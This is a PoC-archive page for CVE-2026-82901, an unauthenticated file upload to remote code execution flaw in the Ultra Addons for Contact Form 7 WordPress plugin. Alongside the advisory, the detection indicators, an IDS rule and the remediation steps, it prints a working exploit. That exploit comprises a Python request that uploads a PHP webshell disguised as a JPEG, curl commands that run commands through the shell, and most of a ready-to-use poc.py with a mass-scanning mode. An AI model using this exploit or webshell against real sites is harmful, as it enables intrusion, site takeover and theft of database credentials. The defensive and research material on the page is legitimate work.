PoC Archive PoC Archive
CVE-2026-82901 category: web CVSS 9.8 (CRITICAL)
Patched

Ultra Addons for Contact Form 7 — Unauthenticated Arbitrary File Upload to RCE (CVE-2026-82901)

Published: 2026-11-25 • Researcher: yoyo / murrez (PoC author, PoCbit); Themefic (plugin vendor); advisory/changeset references via WordPress.org Trac and Wordfence

Target software Ultra Addons for Contact Form 7 (Themefic) WordPress plugin — PDF Generator addon and signature upload handling in the mail-components routine
Affected versions All versions up to and including 3.5.50 (fixed in 3.5.51; the aggregate NVD record carries no structured product ranges — see references)
Status PoC
Severity Critical · CVSS 9.8
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-27
Author / Researcheryoyo / murrez (PoC author, PoCbit); Themefic (plugin vendor); advisory/changeset references via WordPress.org Trac and Wordfence
CVE / AdvisoryCVE-2026-82901
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1; network, no privileges required. Standard 9.8 profile: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. The aggregate NVD record supplied only the score, so treat the vector as reconstructed)
StatusPoC
TagsRCE, unauthenticated, WordPress, file-upload, CWE-434, Contact Form 7, Ultra Addons, webshell, PDF Generator, plugin
RelatedN/A

Affected Target

FieldValue
Software / SystemUltra Addons for Contact Form 7 (Themefic) WordPress plugin — PDF Generator addon and signature upload handling in the mail-components routine
Versions AffectedAll versions up to and including 3.5.50 (fixed in 3.5.51; the aggregate NVD record carries no structured product ranges — see references)
Language / PlatformPHP (WordPress plugin); Python 3 client PoC
Authentication RequiredNo
Network Access RequiredYes

Summary

Ultra Addons for Contact Form 7 fails to validate the type of files uploaded through the signature field when the plugin’s PDF Generator module is enabled. The plugin’s mail-components handler processes the submitted file and stores it in the uploads directory with only weak validation of its type and name, so an unauthenticated visitor can attempt to place a PHP script there through the Contact Form 7 feedback endpoint. When the server executes PHP from the uploads directory, that upload becomes remote code execution as the web server user. The PDF Generator module is disabled by default and the vulnerable path also requires a form containing a signature field, which limits exposure in practice.

Vulnerability Details

Root Cause

The PDF Generator addon added by the plugin processes signature uploads attached to Contact Form 7 submissions. Its uacf7_wpcf7_mail_components routine moves the uploaded file into /wp-content/uploads/uacf7-uploads/ while trusting the client-supplied filename and MIME type, with insufficient extension and content validation (CWE-434: Unrestricted Upload of File with Dangerous Type). The upload is handled in the CF7 feedback flow, so no WordPress account or capability check stands between an anonymous request and the file write. Release 3.5.51 (changeset 3698232) adds the missing type checks.

Attack Vector

An unauthenticated attacker first requests a page containing the vulnerable form and reads the hidden _wpcf7 form id, _wpcf7_unit_tag, and the signature input name (class img_id_special). The attacker then sends a multipart POST to /wp-json/contact-form-7/v1/contact-forms/<id>/feedback with the signature field set to a .php file whose content is a small PHP webshell and whose part Content-Type claims image/jpeg. The plugin writes the file under the uploads directory; the attacker requests it back over HTTP. The only preconditions are that the PDF Generator module is enabled and the form has a uacf7_signature field — both disabled/absent by default.

Impact

Arbitrary file write on the WordPress host and, where PHP execution under /wp-content/uploads/ is allowed, remote code execution as the web server user (www-data in typical deployments). That yields access to wp-config.php database credentials, stored user data, and any file readable by the web user, plus the ability to host malware or deface the site. On configurations that block PHP in uploads, the issue remains a stored-file and content-injection primitive.

Environment / Lab Setup

Output
OS:          Linux (any WordPress-capable host)
Target:      WordPress + Contact Form 7 + Ultra Addons for Contact Form 7 <= 3.5.50,
             PDF Generator module enabled, a CF7 form containing a signature field
Attacker:    Python 3.8+ (requests, urllib3)
Tools:       curl, Burp Suite (optional), the archived poc.py

Setup Steps

Shell script
1
2
3
4
wp plugin install contact-form-7 --activate
wp plugin install ultimate-addons-for-contact-form-7 --version=3.5.50 --activate

pip install -r requirements.txt

Proof of Concept

Step-by-Step Reproduction

  1. Fingerprint the plugin (optional but useful) — the check mode fetches /wp-content/plugins/ultimate-addons-for-contact-form-7/readme.txt, reads the Stable tag value, and compares it with 3.5.50.
    Shell script
    1
    2
    
    python3 poc.py -u https://lab.example --mode check \
        --form-url https://lab.example/contact/
  2. Locate the vulnerable form — with --form-url the check mode parses the page for the _wpcf7 form id, _wpcf7_unit_tag, and any img_id_special signature input, reporting form_with_signature when all are present.
  3. Upload the webshell — exploit mode POSTs a multipart body to the CF7 feedback endpoint, using the discovered form metadata and the signature field name, with the file part named pocbit_82901.php and a PHP body guarded by the POCBIT-82901-OK marker.
    Shell script
    1
    2
    
    python3 poc.py -u https://lab.example --mode exploit \
        --form-url https://lab.example/contact/
  4. Verify execution — the tool extracts any https://.../wp-content/uploads/uacf7-uploads/... URL echoed in the CF7 response and GETs it, looking for the marker. If the response does not reveal the stored path (the server may prefix the filename with a timestamp), supply it explicitly.
    Shell script
    1
    2
    3
    4
    
    python3 poc.py -u https://lab.example --mode exploit \
        --form-url https://lab.example/contact/ \
        --shell-name pocbit_82901.php \
        --verify-url https://lab.example/wp-content/uploads/uacf7-uploads/pocbit_82901.php
  5. Run a command against the shell — the uploaded payload executes ?c= through shell_exec.
    Shell script
    1
    
    curl -s 'https://lab.example/wp-content/uploads/uacf7-uploads/pocbit_82901.php?c=id'

Exploit Code

See poc.py in this folder (upstream poc.py, archived unmodified apart from the research-only header). Full usage and options are in upstream-README.md.

The core request is a single multipart POST to the Contact Form 7 REST feedback route:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

BASE = "https://lab.example"
FORM_ID = "123"                 # from <input name="_wpcf7" value="123">
FIELD = "your-signature"        # signature input name (img_id_special)

shell = "<?php if(isset($_GET['c'])){echo shell_exec($_GET['c']);exit;} echo 'POCBIT-82901-OK'; ?>"

r = requests.post(
    f"{BASE}/wp-json/contact-form-7/v1/contact-forms/{FORM_ID}/feedback",
    data={
        "_wpcf7": FORM_ID,
        "_wpcf7_unit_tag": f"wpcf7-f{FORM_ID}-o1",
        "_wpcf7_container_post": "0",
        "_wpcf7_version": "5.9",
        "_wpcf7_locale": "en_US",
    },
    files={FIELD: ("pocbit_82901.php", shell.encode(), "image/jpeg")},
    verify=False,
)
print(r.status_code, r.text[:300])

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
[*] https://lab.example | shell_verified | v=3.5.50
{
  "target": "https://lab.example",
  "mode": "exploit",
  "plugin": true,
  "version": [3, 5, 50],
  "version_str": "3.5.50",
  "patched": false,
  "form": {
    "form_id": "123",
    "unit_tag": "wpcf7-f123-o1-p1-o1",
    "signature_fields": ["your-signature"],
    "has_wpcf7": true
  },
  "exploited": true,
  "shell_urls": ["https://lab.example/wp-content/uploads/uacf7-uploads/pocbit_82901.php"],
  "status": "shell_verified"
}
Output
1
2
3
4
POCBIT-82901-OK

$ curl -s 'https://lab.example/wp-content/uploads/uacf7-uploads/pocbit_82901.php?c=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Detection & Indicators of Compromise

  • POST requests to /wp-json/contact-form-7/v1/contact-forms/<id>/feedback (or admin-ajax.php CF7 routes) whose multipart body carries a part named after a signature field with a filename ending in .php, .phtml, .php5, .phar, or similar, especially with a spoofed image/jpeg content type.
  • New files under /wp-content/uploads/uacf7-uploads/ containing PHP opening tags, shell_exec, system, eval, or the POCBIT-82901-OK marker string from this PoC.
  • HTTP GETs directly to files in /wp-content/uploads/uacf7-uploads/ followed by ?c= command parameters.
  • Plugin detection: /wp-content/plugins/ultimate-addons-for-contact-form-7/readme.txt publicly reports Stable tag: 3.5.50 or lower.
  • Web server errors such as “Unable to move uploaded file” or PHP execution denials shortly after a CF7 feedback POST.

Example web access log lines:

Output
1
2
198.51.100.23 - - [25/Nov/2026:12:04:11 +0000] "POST /wp-json/contact-form-7/v1/contact-forms/123/feedback HTTP/1.1" 200 431 "-" "Mozilla/5.0 ... PoCbit (+https://pocbit.org)"
198.51.100.23 - - [25/Nov/2026:12:04:19 +0000] "GET /wp-content/uploads/uacf7-uploads/pocbit_82901.php?c=id HTTP/1.1" 200 55 "-" "curl/8.5.0"

SIEM / IDS rule (example):

Output
1
2
3
4
5
alert http any any -> any any (msg:"CVE-2026-82901 UACF7 signature PHP upload attempt"; \
  flow:to_server,established; content:"POST"; http_method; \
  content:"/contact-forms/"; http_uri; content:"/feedback"; http_uri; \
  content:"filename="; http_client_body; content:".php"; http_client_body; \
  sid:90082901;)

Remediation

ActionDetail
PatchUpdate Ultra Addons for Contact Form 7 to 3.5.51 or later (changeset 3698232 adds file type validation); verify the plugin directory no longer reports 3.5.50 in readme.txt.
WorkaroundDisable the PDF Generator module — the vulnerable upload path is unreachable without it — and, as defense in depth, remove signature fields from public forms until the plugin is patched.
Config HardeningBlock PHP execution under /wp-content/uploads/ (and uacf7-uploads/ specifically) at the web server or PHP-FPM level, keep plugin/theme file editors disabled, restrict upload MIME types, and add a WAF rule for PHP filenames in CF7 feedback POSTs.

References

Notes

Auto-ingested from https://github.com/murrez/CVE-2026-82901 on 2026-11-25.

Review verdict: a real PoC, not a mere detector. The repository ships poc.py with two modes: a fingerprint/check mode (plugin version plus form-field discovery, detection-only) and an exploit mode that uploads an actual PHP webshell through the CF7 feedback endpoint and verifies it by requesting the file and matching the POCBIT-82901-OK marker. The mass-target mode (--list) only runs the fingerprint/check path and never uploads; the actual file-upload exploit is reached with -u <base> --mode exploit --form-url <page>.

License status: MIT (LICENSE, Copyright (c) 2026 yoyo). The archived poc.py keeps its upstream header plus the research-only disclaimer; upstream-README.md, requirements.txt, and targets.example.txt are unmodified. The LICENSE file itself was not copied (the note here records the terms).

Limitations: exploitation requires the PDF Generator module to be enabled (off by default) and a published CF7 form containing the signature field; a valid form id/unit tag must be recoverable from the page. The upload path may gain a timestamp or randomized prefix, in which case the operator must discover or supply the stored URL via --verify-url — poc.py does not brute-force filenames. RCE additionally requires the server to execute PHP from the uploads directory; otherwise the issue is limited to arbitrary file write. The PoC was not executed during ingestion, and no live target was tested; the tool is intended for authorized assessments only.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Archived for authorized security research only.
# Source: https://github.com/murrez/CVE-2026-82901 (see README for attribution/license)
"""
CVE-2026-82901 — Ultra Addons for Contact Form 7 (Themefic) <= 3.5.50
Unauthenticated arbitrary file upload via signature field when PDF Generator module
is enabled. uacf7_wpcf7_mail_components copies uploads to wp-content/uploads/uacf7-uploads/
without proper type checks (CWE-434). Fixed in 3.5.51+.

PoC page: https://pocbit.org/pocs/cve-2026-82901
"""

from __future__ import annotations

CVE_ID = "CVE-2026-82901"
POC_TITLE = "UACF7 signature field unauth upload (PDF Generator)"

POCBIT_HOME = "https://pocbit.org"
POCBIT_CATALOG = f"{POCBIT_HOME}/pocs/"
POCBIT_PAGE = f"{POCBIT_HOME}/pocs/{CVE_ID.lower()}"

import argparse
import json
import re
import sys
import threading
import time
from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait
from html import unescape
from urllib.parse import urljoin, urlparse

try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
    pass

import requests
from requests.adapters import HTTPAdapter

UA = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
    "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 "
    f"PoCbit (+{POCBIT_HOME})"
)

PLUGIN_SLUG = "ultimate-addons-for-contact-form-7"
MAX_VERSION = (3, 5, 50)
FIX_VERSION = (3, 5, 51)

MARKERS = (
    "ultimate-addons-for-contact-form-7",
    "uacf7",
    "cf7addons",
    "themefic",
)

UPLOAD_WEB_PREFIX = "/wp-content/uploads/uacf7-uploads/"
VERIFY_MARKER = "POCBIT-82901-OK"

print_lock = threading.Lock()


def print_front(quiet=False):
    if quiet:
        return
    log("=" * 54)
    log(f"  PoCbit  {POCBIT_PAGE}")
    log(f"  {CVE_ID}  {POC_TITLE}")
    log("=" * 54)


def _finish_row(row):
    out = dict(row)
    out["pocbit"] = POCBIT_HOME
    out["pocbit_catalog"] = POCBIT_CATALOG
    out["pocbit_page"] = POCBIT_PAGE
    out["cve"] = CVE_ID
    return out


def log(msg):
    with print_lock:
        print(msg, flush=True)


def mk_session(timeout, proxy=None):
    s = requests.Session()
    s.headers.update({"User-Agent": UA})
    adapter = HTTPAdapter(max_retries=0, pool_connections=25, pool_maxsize=25)
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    if proxy:
        s.proxies.update({"http": proxy, "https": proxy})
    s.verify = False
    s.request_timeout = timeout
    return s


def get(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.get(url, **kw)


def post(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.post(url, **kw)


def normalize_base(raw):
    raw = (raw or "").strip()
    if not raw or raw.startswith("#"):
        return None
    if "://" not in raw:
        raw = "https://" + raw
    p = urlparse(raw)
    if not p.netloc:
        return None
    scheme = p.scheme if p.scheme in ("http", "https") else "https"
    return "%s://%s" % (scheme, p.netloc)


def parse_version_tuple(text):
    if not text:
        return None
    for pat in (
        r"Stable tag:\s*([0-9]+(?:\.[0-9]+)*)",
        r"Version:\s*([0-9]+(?:\.[0-9]+)*)",
    ):
        m = re.search(pat, text, re.I)
        if m:
            try:
                return tuple(int(x) for x in m.group(1).split("."))
            except ValueError:
                pass
    return None


def version_le(a, b):
    if not a:
        return None
    n = max(len(a), len(b))
    av = a + (0,) * (n - len(a))
    bv = b + (0,) * (n - len(b))
    return av <= bv


def version_vulnerable(v):
    if not v:
        return None
    if version_le(v, MAX_VERSION):
        return True
    if version_le(v, FIX_VERSION) and not version_le(v, MAX_VERSION):
        return False
    return False


def detect_plugin(s, base, timeout):
    root = base.rstrip("/") + "/wp-content/plugins/" + PLUGIN_SLUG
    row = {
        "plugin": False,
        "version": None,
        "version_str": None,
        "patched": None,
        "vulnerable_version": None,
        "readme_url": None,
    }
    for path in ("/readme.txt", "/ultimate-addons-for-contact-form-7.php"):
        url = root + path
        try:
            r = get(s, url, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code != 200:
            continue
        body = (r.text or "").lower()
        if "ultimate-addons-for-contact-form-7" not in body and "uacf7" not in body:
            continue
        row["plugin"] = True
        row["readme_url"] = url if path.endswith(".txt") else row["readme_url"]
        if path.endswith(".txt"):
            vt = parse_version_tuple(r.text)
            if vt:
                row["version"] = vt
                row["version_str"] = ".".join(str(x) for x in vt)
                row["patched"] = not version_vulnerable(vt)
                row["vulnerable_version"] = version_vulnerable(vt)
        break
    if row["plugin"] and row["version"] is None:
        row["vulnerable_version"] = True
    return row


def parse_cf7_form(html):
    html = unescape(html or "")
    form_id = None
    m = re.search(r'name="_wpcf7"\s+value="(\d+)"', html, re.I)
    if m:
        form_id = m.group(1)
    unit_tag = None
    m = re.search(r'name="_wpcf7_unit_tag"\s+value="([^"]+)"', html, re.I)
    if m:
        unit_tag = m.group(1)
    sig_fields = re.findall(
        r'<input[^>]+class="[^"]*img_id_special[^"]*"[^>]+name="([^"]+)"',
        html,
        re.I,
    )
    if not sig_fields:
        sig_fields = re.findall(
            r'name="([^"]+)"[^>]+class="[^"]*img_id_special',
            html,
            re.I,
        )
    has_wpcf7 = "wpcf7" in html.lower()
    has_pdf_hint = "pdf" in html.lower() and "uacf7" in html.lower()
    return {
        "form_id": form_id,
        "unit_tag": unit_tag,
        "signature_fields": list(dict.fromkeys(sig_fields)),
        "has_wpcf7": has_wpcf7,
        "pdf_hint": has_pdf_hint,
    }


def cf7_feedback_url(base, form_id):
    return urljoin(
        base.rstrip("/") + "/",
        "wp-json/contact-form-7/v1/contact-forms/%s/feedback" % form_id,
    )


def shell_php_body(marker):
    return (
        "<?php if(isset($_GET['c'])){echo shell_exec($_GET['c']);exit;} "
        "echo '%s'; ?>" % marker.replace("'", "")
    )


def extract_upload_urls(text):
    if not text:
        return []
    return re.findall(
        r"(https?://[^\s\"'<>]+/wp-content/uploads/uacf7-uploads/[^\s\"'<>]+)",
        text,
        re.I,
    )


def verify_shell(s, url, timeout):
    try:
        r = get(s, url, timeout=timeout)
    except requests.RequestException as e:
        return {"url": url, "verified": False, "error": str(e)}
    body = r.text or ""
    return {
        "url": url,
        "status_code": r.status_code,
        "verified": r.status_code == 200 and VERIFY_MARKER in body,
    }


def submit_signature_upload(s, base, form_url, form_id, unit_tag, field_name, shell_name, timeout):
    url = cf7_feedback_url(base, form_id)
    php = shell_php_body(VERIFY_MARKER)
    data = {
        "_wpcf7": form_id,
        "_wpcf7_unit_tag": unit_tag or ("wpcf7-f%s-o1" % form_id),
        "_wpcf7_container_post": "0",
        "_wpcf7_version": "5.9",
        "_wpcf7_locale": "en_US",
    }
    for k in ("your-name", "your-email", "your-subject", "your-message"):
        if k.replace("-", "_") not in field_name:
            data[k] = "pocbit-test"
    files = {
        field_name: (shell_name, php.encode(), "image/jpeg"),
    }
    try:
        r = post(s, url, data=data, files=files, timeout=timeout)
    except requests.RequestException as e:
        return {"error": str(e), "submit_url": url}
    body = r.text or ""
    urls = extract_upload_urls(body)
    try:
        js = r.json()
    except Exception:
        js = None
    return {
        "submit_url": url,
        "form_url": form_url,
        "status_code": r.status_code,
        "response_json": js,
        "upload_urls_in_response": urls,
        "body_snip": body[:300],
    }


def check_target(base, timeout, proxy, form_url):
    base = normalize_base(base)
    row = _finish_row({"target": base, "mode": "check"})
    if not base:
        row["error"] = "invalid_url"
        return row

    s = mk_session(timeout, proxy)
    det = detect_plugin(s, base, timeout)
    row.update(det)
    if not det.get("plugin"):
        row["status"] = "no_plugin"
        row["exploitable_candidate"] = False
        return row
    if det.get("patched") is True:
        row["status"] = "patched"
        row["exploitable_candidate"] = False
        return row

    row["status"] = "vulnerable_plugin"
    row["exploitable_candidate"] = True
    row["conditions"] = (
        "PDF Generator module enabled on a CF7 form with uacf7_signature field "
        "(disabled by default). Provide --form-url of that page for upload probe."
    )

    if form_url:
        try:
            r = get(s, form_url, timeout=timeout)
            parsed = parse_cf7_form(r.text or "")
            row["form"] = parsed
            if parsed.get("signature_fields") and parsed.get("form_id"):
                row["status"] = "form_with_signature"
            elif parsed.get("has_wpcf7"):
                row["status"] = "wpcf7_no_signature_field"
        except requests.RequestException as e:
            row["form_error"] = str(e)

    return row


def exploit_target(base, timeout, proxy, form_url, shell_name, field_name, verify_url):
    base = normalize_base(base)
    row = _finish_row({"target": base, "mode": "exploit"})
    if not base:
        row["error"] = "invalid_url"
        return row
    if not form_url:
        row["error"] = "need --form-url with CF7 form using signature + PDF generator"
        return row

    s = mk_session(timeout, proxy)
    det = detect_plugin(s, base, timeout)
    row.update(det)
    if not det.get("plugin"):
        row["error"] = "no_plugin"
        return row
    if det.get("patched") is True:
        row["error"] = "patched"
        return row

    try:
        r = get(s, form_url, timeout=timeout)
    except requests.RequestException as e:
        row["error"] = str(e)
        return row

    parsed = parse_cf7_form(r.text or "")
    row["form"] = parsed
    form_id = parsed.get("form_id")
    if not form_id:
        row["error"] = "cf7_form_id_not_found"
        return row

    fields = parsed.get("signature_fields") or []
    if field_name:
        fields = [field_name]
    elif not fields:
        fields = ["your-signature", "signature", "uacf7-signature"]

    attempts = []
    for fn in fields:
        attempts.append(
            submit_signature_upload(
                s, base, form_url, form_id, parsed.get("unit_tag"),
                fn, shell_name, timeout,
            )
        )

    row["upload_attempts"] = attempts
    guess_urls = []
    for att in attempts:
        guess_urls.extend(att.get("upload_urls_in_response") or [])

    if verify_url:
        guess_urls.insert(0, verify_url)

    verified = []
    for u in dict.fromkeys(guess_urls):
        v = verify_shell(s, u, timeout)
        if v.get("verified"):
            verified.append(v)

    if verified:
        row["exploited"] = True
        row["shell_urls"] = [x["url"] for x in verified]
        row["status"] = "shell_verified"
    else:
        row["error"] = "shell_not_verified"
        row["status"] = "exploit_inconclusive"
        row["hint"] = (
            "PDF Generator may be off, CF7 rejected file type, or shell path uses "
            "timestamp prefix under %s" % UPLOAD_WEB_PREFIX
        )
    return row


def load_targets(path):
    items = []
    seen = set()
    with open(path, "r", encoding="utf-8-sig", errors="replace") as f:
        for line in f:
            line = line.strip().lstrip("\ufeff")
            if not line or line.startswith("#"):
                continue
            base = normalize_base(re.split(r"[\t|]", line, 1)[0].strip())
            if base and base not in seen:
                seen.add(base)
                items.append(base)
    return items


def run_mass(args):
    targets = load_targets(args.list)
    stats = {"done": 0, "hits": 0, "total": len(targets)}
    start = time.time()
    out_f = open(args.output, "w", encoding="utf-8")
    hit_f = open(args.vuln_list, "w", encoding="utf-8")

    def worker(t):
        return check_target(t, args.timeout, args.proxy, args.form_url)

    window = max(4, args.threads * 2)
    with ThreadPoolExecutor(max_workers=args.threads) as ex:
        futures = {}
        gen = iter(targets)
        try:
            while True:
                while len(futures) < window:
                    try:
                        futures[ex.submit(worker, next(gen))] = True
                    except StopIteration:
                        break
                if not futures:
                    break
                done_set, _ = wait(futures, return_when=FIRST_COMPLETED)
                for fut in done_set:
                    futures.pop(fut)
                    row = fut.result()
                    stats["done"] += 1
                    out_f.write(json.dumps(row, ensure_ascii=True, default=str) + "\n")
                    out_f.flush()
                    if row.get("exploitable_candidate"):
                        stats["hits"] += 1
                        hit_f.write(row.get("target", "") + "\n")
                        hit_f.flush()
                    if not args.quiet:
                        log("[+] %s | %s | v=%s" % (
                            row.get("target"), row.get("status"), row.get("version_str"),
                        ))
        except KeyboardInterrupt:
            log("[!] interrupted")

    out_f.close()
    hit_f.close()
    log("[*] done %.0fs | %d/%d | hits=%d" % (
        time.time() - start, stats["done"], stats["total"], stats["hits"],
    ))


def main():
    p = argparse.ArgumentParser(
        description="%s - %s | %s" % (CVE_ID, POC_TITLE, POCBIT_PAGE),
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            "PoC page: %s\n\n"
            "Examples:\n"
            "  python poc.py -u https://wordpress.example --mode check\n"
            "  python poc.py -u https://wordpress.example --mode check --form-url https://wordpress.example/contact/\n"
            "  python poc.py -u https://wordpress.example --mode exploit --form-url https://wordpress.example/contact/\n"
            "  python poc.py --list targets.txt --mode check -j 10\n"
        ) % POCBIT_PAGE,
    )
    p.add_argument("-u", "--url", help="WordPress site base URL")
    p.add_argument("--list", help="targets file")
    p.add_argument("--mode", choices=["check", "exploit"], default="check")
    p.add_argument("--form-url", help="page URL containing vulnerable CF7 form")
Showing 500 of 544 lines View full file on GitHub →